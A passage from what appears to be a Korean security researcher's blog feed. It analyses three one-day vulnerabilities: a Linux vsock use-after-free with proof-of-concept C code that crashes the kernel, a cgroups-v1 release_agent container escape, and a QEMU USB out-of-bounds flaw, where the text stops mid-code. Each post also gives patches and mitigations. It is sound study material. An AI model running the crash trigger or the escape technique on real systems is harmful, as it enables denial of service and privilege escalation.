&lt;p&gt;PoC는 이해하기 쉽게 작성되어있어서 앞선 과정만 이해했다면 크게 무리 없이 이해할 수 있습니다. socket create → connect → connect → bind 의 순으로 함수를 호출하게되고 앞서 알아본 과정으로 레퍼런스 카운트의 잘못된 감소로 커널 크래시가 발생하게 됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;...
int main(void) {
...
    // wait for input
    puts(&quot;Setup Finished...&quot;);
    getchar();

	s = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (s &amp;lt; 0) {
		perror(&quot;socket&quot;);
		exit(EXIT_FAILURE);
	}

	if (!connect(s, (struct sockaddr *)&amp;amp;addr, alen)) {
		fprintf(stderr, &quot;Unexpected connect() #1 success\n&quot;);
		exit(EXIT_FAILURE);
	}
	// connect() #1 failed: transport set, sk in unbound list.

	addr.svm_cid = VMADDR_CID_NONEXISTING;
    addr.svm_port = VMADDR_PORT_ANY;
	if (!connect(s, (struct sockaddr *)&amp;amp;addr, alen)) {
		fprintf(stderr, &quot;Unexpected connect() #2 success\n&quot;);
		exit(EXIT_FAILURE);
	}
	// connect() #2 failed: transport unset, sk ref dropped?

    // wait for input
    puts(&quot;Press for Crash...&quot;);
    getchar();

	// Vulnerable system may crash now. [USE THE DANGLING POINTER]
	bind(s, (struct sockaddr *)&amp;amp;addr, alen);

    // wait for input
    getchar();

	close(s);
	while (i--)
		close(sockets[i]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Video&lt;/h1&gt;
&lt;h2&gt;PoC&lt;/h2&gt;
&lt;p&gt;커널 크래시 빠밤콰쾅
&amp;lt;video width=&quot;100%&quot; height=&quot;100%&quot; controls&amp;gt;
&amp;lt;source src=&quot;/assets/videos/CVE-2025-21756/CVE-2025-21756-poc.mkv&quot; type=&quot;video/webm&quot;&amp;gt;
&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;패치에서는 SOCK_DEAD 플래그를 확인함으로써 transport가 재할당될 때 바인딩을 해제하는 것을 방지하고 있습니다.
이때 코드 하단에 존재하던 sock_orphan 호출 코드는 상단으로 재배치 되었습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
@@ -336,7 +336,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket);
 
 void vsock_remove_sock(struct vsock_sock *vsk)
 {
-	vsock_remove_bound(vsk);
+	/* Transport reassignment must not remove the binding. */
+	if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+		vsock_remove_bound(vsk);
+
 	vsock_remove_connected(vsk);
 }
 EXPORT_SYMBOL_GPL(vsock_remove_sock);
@@ -820,12 +823,13 @@ static void __vsock_release(struct sock *sk, int level)
 	 */
 	lock_sock_nested(sk, level);
 
+	sock_orphan(sk);
+
 	if (vsk-&amp;gt;transport)
 		vsk-&amp;gt;transport-&amp;gt;release(vsk);
 	else if (sock_type_connectible(sk-&amp;gt;sk_type))
 		vsock_remove_sock(vsk);
 
-	sock_orphan(sk);
 	sk-&amp;gt;sk_shutdown = SHUTDOWN_MASK;
 
 	skb_queue_purge(&amp;amp;sk-&amp;gt;sk_receive_queue);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mitigation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;해당 취약점에 대한 커널 업그레이드를 진행하세용 ^~^&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b&quot;&amp;gt;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://github.com/hoefler02/CVE-2025-21756&quot;&amp;gt;https://github.com/hoefler02/CVE-2025-21756&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml&quot;&amp;gt;https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://hoefler.dev/articles/vsock.html&quot;&amp;gt;https://hoefler.dev/articles/vsock.html&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CVE-2022-0492</title><link>https://aidenkim-com.github.io/posts/cve-2022-0492/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2022-0492/</guid><description>Analysis of Linux Kernel Cgroups-v1 Vulnerability</description><pubDate>Sun, 20 Jul 2025 05:30:00 GMT</pubDate><content:encoded>&lt;p&gt;사정으로 몇 개월만에 글을 올리네요.😅 그래도 관련 활동은 멈추지 않고 계속해서 이어나가고 있답니다.🫠 잠깐의 포스팅을 쉬는 시간을 허락해주신 팀장님 감사합니다..&lt;/p&gt;
&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하게 된 리눅스 커널 네임스페이스 격리 우회 취약점 관련 글입니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이번에 알아볼 원데이 취약점은 &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2022-0492&quot;&amp;gt;2022년 3월 3일에 공개된&amp;lt;/a&amp;gt; 리눅스 커널 네임스페이스 격리 우회 취약점입니다.&lt;/p&gt;
&lt;p&gt;공격자는 리눅스 커널에서 제공하는 cgroups 버전 1이 제공하는 기능에서 취약점을 악용하여 격리된 환경에서 루트 권한으로 탈출을 시도할 수 있습니다.&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료들은 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.hackthebox.com/blog/cve-2022-04920-carpe-diem-explained&quot;&amp;gt;https://www.hackthebox.com/blog/cve-2022-04920-carpe-diem-explained&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://blog.alyac.co.kr/4538&quot;&amp;gt;https://blog.alyac.co.kr/4538&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af&quot;&amp;gt;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC/tree/master&quot;&amp;gt;https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC/tree/master&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2022-0492&quot;&amp;gt;CVE-2022-0492&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;CWE : &amp;lt;a href=&quot;http://cwe.mitre.org/data/definitions/862.html&quot;&amp;gt;CWE-862&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://cwe.mitre.org/data/definitions/287.html&quot;&amp;gt;CWE-287&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;CVE-2022-0492를 이해하기 위한 최소한의 기반 지식에 대해서 알아봅시다.&lt;/p&gt;
&lt;h2&gt;cgroups-v1&lt;/h2&gt;
&lt;p&gt;cgroups version 1은 2007년에 리눅스 커널에 병합된 기능입니다. cgroups을 통해서 CPU, 메모리 등의 자원 사용량등을 제한할 수 있습니다. 동일한 그룹으로 묶인 프로세스, 프로세스 계층들은 같은 리소스 제한 정책을 갖게 됩니다.&lt;/p&gt;
&lt;h2&gt;notify_on_release&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;notify_on_release&lt;/code&gt;는 cgroups 서브 시스템에 지정할 수 있는 플래그입니다. 해당 플래그가 활성화되어 있을 경우 cgroup으로 묶인 마지막 태스크가 없어질 때(종료 혹은 다른 cgroup으로 이동될 때), 커널에서는 해당 cgroup 계층의 루트 디렉터리에 존재하는 &lt;code&gt;release_agent&lt;/code&gt;에 작성된 명령을 루트 권한으로 실행하게 됩니다. 이를 통해서 cgroup은 비어버린 해당 cgroup에 대한 정리 혹은 후 처리 작업을 진행할 수 있게 됩니다.&lt;/p&gt;
&lt;h1&gt;RCA&lt;/h1&gt;
&lt;p&gt;취약점은 컨테이너와 같은 격리된 환경의 사용자가 capability 제약이 있는 상태의 루트 권한을 갖고 있거나 또는 &lt;code&gt;CAP_DAC_OVERRIDE&lt;/code&gt; caability를 갖고 있을 경우 악용이 가능합니다.&lt;/p&gt;
&lt;p&gt;이는 해당 커밋 디스크립션에서도 확인할 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cgroup-v1: Require capabilities to set release_agent
The cgroup release_agent is called with call_usermodehelper.  The function
call_usermodehelper starts the release_agent with a full set fo capabilities.
Therefore require capabilities when setting the release_agaent.

Reported-by: Tabitha Sable &amp;lt;tabitha.c.sable@gmail.com&amp;gt;
Tested-by: Tabitha Sable &amp;lt;tabitha.c.sable@gmail.com&amp;gt;
Fixes: 81a6a5cdd2c5 (&quot;Task Control Groups: automatic userspace notification of idle cgroups&quot;)
Cc: stable@vger.kernel.org # v2.6.24+
Signed-off-by: &quot;Eric W. Biederman&quot; &amp;lt;ebiederm@xmission.com&amp;gt;
Signed-off-by: Tejun Heo &amp;lt;tj@kernel.org&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;컨테이너가 존재하는 cgroup의 루트 경로에 release_agent가 있는 경우 루트 권한을 갖고 있는 컨테이너 내의 사용자가 해당 파일을 수정하는 과정에서 다음 취약점 패치에서 보는 것과 같이 capability 체크가 미흡합니다.
즉, release_agent로 인해 실행되는 프로세스는 모든 capability를 갖지만, 이를 실행시킬 수 있는 수정 기능에는 capability 제약이 누락되어있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c
index 41e0837a5a0bda..0e877dbcfeea9c 100644
--- a/kernel/cgroup/cgroup-v1.c
+++ b/kernel/cgroup/cgroup-v1.c
@@ -549,6 +549,14 @@ static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
 
 	BUILD_BUG_ON(sizeof(cgrp-&amp;gt;root-&amp;gt;release_agent_path) &amp;lt; PATH_MAX);
 
+	/*
+	 * Release agent gets called with all capabilities,
+	 * require capabilities to set release agent.
+	 */
+	if ((of-&amp;gt;file-&amp;gt;f_cred-&amp;gt;user_ns != &amp;amp;init_user_ns) ||
+	    !capable(CAP_SYS_ADMIN))
+		return -EPERM;
+
 	cgrp = cgroup_kn_lock_live(of-&amp;gt;kn, false);
 	if (!cgrp)
 		return -ENODEV;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이로 인해 컨테이너 내에서 모든 capability(CAP_SYS_ADMIN)를 갖고 있지 않은 &lt;code&gt;root&lt;/code&gt; 혹은 &lt;code&gt;CAP_DAC_OVERRIDE&lt;/code&gt; capability만 갖는 공격자는 release_agent를 수정하여 모든 capability(CAP_SYS_ADMIN)를 갖는 루트 권한으로 임의의 명령을 사용하여 격리된 환경을 탈출하여 명령어를 실행시킬 수 있습니다.&lt;/p&gt;
&lt;h1&gt;PoC&lt;/h1&gt;
&lt;p&gt;열심히 작성중 😵‍💫&lt;/p&gt;
&lt;h1&gt;Video&lt;/h1&gt;
&lt;p&gt;열심히 작성중 😵‍💫&lt;/p&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;앞선 패치에서 봤 듯, release_agent를 수정하기 위한 권한을 체크합니다. 이로써 공격자는 패치 이전처럼 제한된 Capability를 가지고 release_agent를 수정하는 것이 불가능해집니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c
index 41e0837a5a0bda..0e877dbcfeea9c 100644
--- a/kernel/cgroup/cgroup-v1.c
+++ b/kernel/cgroup/cgroup-v1.c
@@ -549,6 +549,14 @@ static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
 
 	BUILD_BUG_ON(sizeof(cgrp-&amp;gt;root-&amp;gt;release_agent_path) &amp;lt; PATH_MAX);
 
+	/*
+	 * Release agent gets called with all capabilities,
+	 * require capabilities to set release agent.
+	 */
+	if ((of-&amp;gt;file-&amp;gt;f_cred-&amp;gt;user_ns != &amp;amp;init_user_ns) ||
+	    !capable(CAP_SYS_ADMIN))
+		return -EPERM;
+
 	cgrp = cgroup_kn_lock_live(of-&amp;gt;kn, false);
 	if (!cgrp)
 		return -ENODEV;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mitigation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;취약점에 대한 패치가 적용된 커널을 사용합니다.&lt;/li&gt;
&lt;li&gt;cgroup-v1을 비활성화 합니다.&lt;/li&gt;
&lt;li&gt;컨테이너에 대한 Capability을 제한합니다.&lt;/li&gt;
&lt;li&gt;커널이 제공하는 보안 기능등을 활성화 시킵니다. (Apparmor, SELinux, Seccmop)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2022-0492&quot;&amp;gt;https://nvd.nist.gov/vuln/detail/cve-2022-0492&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.hackthebox.com/blog/cve-2022-04920-carpe-diem-explained&quot;&amp;gt;https://www.hackthebox.com/blog/cve-2022-04920-carpe-diem-explained&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://blog.alyac.co.kr/4538&quot;&amp;gt;https://blog.alyac.co.kr/4538&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af&quot;&amp;gt;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC/tree/master&quot;&amp;gt;https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC/tree/master&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CVE-2020-14364</title><link>https://aidenkim-com.github.io/posts/cve-2020-14364/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2020-14364/</guid><description>Analysis of QEMU Virtualization Escape Vulnerability</description><pubDate>Wed, 12 Feb 2025 15:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하게 된 QEMU 가상머신 탈출 원 데이 취약점 관련 글입니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이번에 알아볼 취약점은 &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-14364&quot;&amp;gt;2020년 8월 31일에 공개된&amp;lt;/a&amp;gt; QEMU의 가상 USB 디바이스 처리 관련 로직에서 발생한 취약점입니다. &lt;code&gt;5.2.0&lt;/code&gt; 이전 버전의 QEMU가 영향을 받습니다.&lt;/p&gt;
&lt;p&gt;QEMU에서는 USB 스펙에 맞춰 가상 USB를 구현하고 있습니다. 취약점은 구현된 부분 중 USB 스펙에 해당하는 &lt;code&gt;SETUP TOKEN&lt;/code&gt;을 처리하는 로직인  &lt;code&gt;do_token_setup&lt;/code&gt;에서 잘못 설정된 &lt;code&gt;USBDevice&lt;/code&gt;의 멤버 값과 이에 대한 적절한 후속 조치가 없어 발생하게됩니다. 이로인해 공격자는 &lt;code&gt;do_token_in&lt;/code&gt;과 &lt;code&gt;do_token_out&lt;/code&gt; 함수를 통해 &lt;code&gt;OOB Read/Write&lt;/code&gt;를 수행할 수 있으며, 가상 USB가 존재하는 &amp;lt;a href=&quot;https://www.qemu.org/docs/master/system/introduction.html&quot;&amp;gt;QEMU 시스템 에뮬레이션&amp;lt;/a&amp;gt;에서 탈출하여 호스트 머신에 임의의 코드를 실행 시킬 수 있습니다.&lt;/p&gt;
&lt;p&gt;해당 취약점을 분석하면서 취약점 자체를 이해하기 위한 시간보다는 코드로 작성된 USB 구현과 이를 악용하는 exploit poc를 이해하기 위해 USB 스펙과 &lt;code&gt;HCI(Host Controller Interface)&lt;/code&gt; 스펙 문서를 읽는데 할애한 시간이 많았습니다. 아직 미흡한 점이 많아 설명에 오류 및 수정해야하는 부분이 있다면 피드백 해주시면 감사하겠습니다.&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해 본 결과로 작성하게 된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해 주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이 된 자료는 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-14364&quot;&amp;gt;https://nvd.nist.gov/vuln/detail/CVE-2020-14364&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/&quot;&amp;gt;https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20A%20Black%20Box%20Escape%20Of%20Qemu%20Based%20On%20The%20USB%20Device%20-%20L.%20Kong,%20Y.%20Zhang%20&amp;amp;%20H.%20Qu.pdf&quot;&amp;gt;https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20A%20Black%20Box%20Escape%20Of%20Qemu%20Based%20On%20The%20USB%20Device%20-%20L.%20Kong,%20Y.%20Zhang%20&amp;amp;%20H.%20Qu.pdf&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.youtube.com/watch?v=dHZSAiLKvSY&quot;&amp;gt;https://www.youtube.com/watch?v=dHZSAiLKvSY&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : &amp;lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14364&quot;&amp;gt;CVE-2020-14364&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;CWE : &amp;lt;a href=&quot;http://cwe.mitre.org/data/definitions/125.html&quot;&amp;gt;CWE-125&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://cwe.mitre.org/data/definitions/787.html&quot;&amp;gt;CWE-787&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;QEMU는 리눅스에서 동작하는 잘 알려진 가상화 소프트웨어로 주변 장치들 역시 코드로 구현되어 있습니다. &lt;code&gt;CVE-2020-14364&lt;/code&gt;는 이렇게 코드로 구현된 가상 주변 기기 중, USB를 구현하는 코드에서 발생하게 됩니다. USB를 코드로 구현하는 과정에서 발생한 취약점이기 때문에 USB의 통신 방식을 이해하는 것이 중요합니다. 또한 공격 코드를 이해하기 위한 &lt;code&gt;HCI&lt;/code&gt; 스펙에 대한 어느 정도의 이해 역시 필요합니다. 간략하게 취약점과 공격을 이해하기 위한 내용에 대해서 살펴봅시다.&lt;/p&gt;
&lt;h2&gt;USB - Transfer&lt;/h2&gt;
&lt;p&gt;USB가 데이터를 전송하기 위한 단위입니다. 목적 및 특징에 따라 다음과 같은 총 4개의 &lt;code&gt;Transfer Type&lt;/code&gt;을 갖습니다.(USB Specification Revision 2.0 - 5.4 Transfer Types)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Control Transfers&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Interrupt Transfers&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Isochronous Transfers&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bulk Transfers&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이 중 취약점은 &lt;code&gt;Control Transfer&lt;/code&gt;에 해당하는 부분에서 발생하기 때문에 이쪽 부분에 대해서 알아보도록 하겠습니다.&lt;/p&gt;
&lt;h3&gt;USB - Control Transfers&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Control Transfers&lt;/code&gt;는 USB를 설정할 때 쓰이는 설정, 명령, 상태 기능을 위해 설계된 &lt;code&gt;Transfer Type&lt;/code&gt; 입니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Control Transfers&lt;/code&gt;는 다음과 같이 3개의 &lt;code&gt;Transaction&lt;/code&gt;으로 구성됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2020-14364/control_transfer_layout.png&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;그리고 각각의 &lt;code&gt;Transaction&lt;/code&gt;은 패킷들로 구성됩니다. 즉, 위에서 나타난 하나의 &lt;code&gt;Transaction&lt;/code&gt;으로 묶인 것들이 패킷입니다.&lt;/p&gt;
&lt;p&gt;공격은 위에 나타난 &lt;code&gt;Transaction&lt;/code&gt; 중 &lt;code&gt;Setup Transaction과 Data Transaction&lt;/code&gt;을 이용해서 진행하게됩니다.&lt;/p&gt;
&lt;p&gt;각각의 &lt;code&gt;Transaction&lt;/code&gt; 가장 앞단의 &lt;code&gt;Token&lt;/code&gt; 패킷은 다음과 같은 필드를 갖습니다.
&amp;lt;img src=&quot;/assets/img/CVE-2020-14364/token_packet_field_formats.png&quot;&amp;gt;
&lt;code&gt;PID&lt;/code&gt;는 현재 전송된 패킷의 타입을 의미합니다. 이때 &lt;code&gt;Control Transfer&lt;/code&gt;에서 사용되는 &lt;code&gt;PID&lt;/code&gt;의 의미는 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SETUP&lt;/code&gt; : &lt;code&gt;Control Trnasfer&lt;/code&gt;에서의 &lt;code&gt;Setup Transaction&lt;/code&gt;의 시작&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IN&lt;/code&gt; : &lt;code&gt;Host가&lt;/code&gt; &lt;code&gt;Device&lt;/code&gt;로부터 데이터 요청(데이터 읽기 요청)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OUT&lt;/code&gt; : &lt;code&gt;Host가&lt;/code&gt; &lt;code&gt;Device&lt;/code&gt;로 데이터 전송(데이터 쓰기 요청)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;USB - Setup transaction setup packet&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Setup transaction&lt;/code&gt;의 &lt;code&gt;Setup&lt;/code&gt; 패킷의 데이터 필드에 대한 설명입니다.
&amp;lt;img src=&quot;/assets/img/CVE-2020-14364/setup_packet_data.png&quot;/&amp;gt;&lt;/p&gt;
&lt;h3&gt;UHCI(Universal Host Controller Interface) - USB Host Controller I/O Registers&lt;/h3&gt;
&lt;p&gt;가상 USB 공격 코드를 이해하려면 &lt;code&gt;HCI(Host Controller Interface)&lt;/code&gt; 스펙에 대해서 알아야합니다. 이 중 페이로드에서 쓰인 &lt;code&gt;UHCI&lt;/code&gt; 스펙에 대해서 간략하게 알아보도록 합시다.&lt;/p&gt;
&lt;p&gt;먼저 USB에 대한 처리를 위해 &lt;code&gt;UHCI&lt;/code&gt;에서는 다음과 같이 구성된 &lt;code&gt;Host Controller I/O&lt;/code&gt; 레지스터를 제공합니다. 앞으로 알아볼 &lt;code&gt;exploit&lt;/code&gt;에서는 &lt;code&gt;Host Controller I/O&lt;/code&gt; 레지스터에 해당하는 부분을 메모리에 매핑한 뒤  &lt;code&gt;PORT I/O&lt;/code&gt;를 이용해 USB에 대한 처리를 수행합니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2020-14364/HC_IO_registers.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;각각의 레지스터에 설정할 수 있는 값 및 구체적인 동작은 &lt;code&gt;UHCI&lt;/code&gt; 스펙에서 확인할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;UHCI(Universal Host Controller Interface) - Transfer Descriptor (TD)&lt;/h3&gt;
&lt;p&gt;다음은 공격 코드에서 볼 수 있는 &lt;code&gt;TD(Transfer Descriptor)&lt;/code&gt;는 USB로 전송할 데이터의 특징 및 포인터를 갖고 있는 구조체입니다.&lt;/p&gt;
&lt;p&gt;다음과 같은 형태로 구성되어있습니다.
&amp;lt;img src=&quot;/assets/img/CVE-2020-14364/td.png&quot;&amp;gt;
USB 패킷 데이터로 변환되어서 전송될 데이터의 포인터 및 토큰 값에 대한 정보를 갖고 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;TD&lt;/code&gt; 구조체에 정보를 설정해주면 다음과 같은 처리를 거쳐 USB 디바이스에 패킷이 전송됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2020-14364/Processing_Transfer_Descriptors.png&quot;&amp;gt;
즉, &lt;code&gt;TD&lt;/code&gt; 하나는 하나의 &lt;code&gt;Transaction&lt;/code&gt;을 만들 수 있습니다.&lt;/p&gt;
&lt;p&gt;이러한 &lt;code&gt;TD&lt;/code&gt;들은, 다음과 같은 레이아웃으로 관리됩니다. 여기 나와있는 &lt;code&gt;Frame List&lt;/code&gt;에 대한 설명은 스펙을 참조하시길 바랍니다.(PoC에 &lt;code&gt;Frame List&lt;/code&gt;를 레지스터에 등록하는 과정이 있습니다.)
&amp;lt;img src=&quot;/assets/img/CVE-2020-14364/schedule_layout.png&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;여기까지 봤다면 PoC에서 &lt;code&gt;TD&lt;/code&gt; 관련 및 서브루틴들에 대해서 이해하기 어렵지 않을겁니다.&lt;/p&gt;
&lt;h1&gt;RCA&lt;/h1&gt;
&lt;p&gt;RCA에 나온 코드는 &lt;code&gt;QEMU&lt;/code&gt; &lt;code&gt;5.1.0&lt;/code&gt; 버전의 코드입니다.&lt;/p&gt;
&lt;p&gt;취약점은 QEMU의 가상 USB가 &lt;code&gt;TOKEN&lt;/code&gt; 패킷을 처리하는 곳인 &lt;code&gt;hw/usb/core.c&lt;/code&gt;에서 발생합니다.&lt;/p&gt;
&lt;p&gt;QEMU에서 &lt;code&gt;TOKEN&lt;/code&gt; 패킷은 다음과 같은 &lt;code&gt;usb_process_one&lt;/code&gt;에서 설정된 토큰 종류에 따라서 처리가 결정됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void usb_process_one(USBPacket *p)
{
    USBDevice *dev = p-&amp;gt;ep-&amp;gt;dev;

    /*
     * Handlers expect status to be initialized to USB_RET_SUCCESS, but it
     * can be USB_RET_NAK here from a previous usb_process_one() call,
     * or USB_RET_ASYNC from going through usb_queue_one().
     */
    p-&amp;gt;status = USB_RET_SUCCESS;

    if (p-&amp;gt;ep-&amp;gt;nr == 0) {
        /* control pipe */
        if (p-&amp;gt;parameter) {
            do_parameter(dev, p);
            return;
        }
        switch (p-&amp;gt;pid) {
        case USB_TOKEN_SETUP:
            do_token_setup(dev, p);
            break;
        case USB_TOKEN_IN:
            do_token_in(dev, p);
            break;
        case USB_TOKEN_OUT:
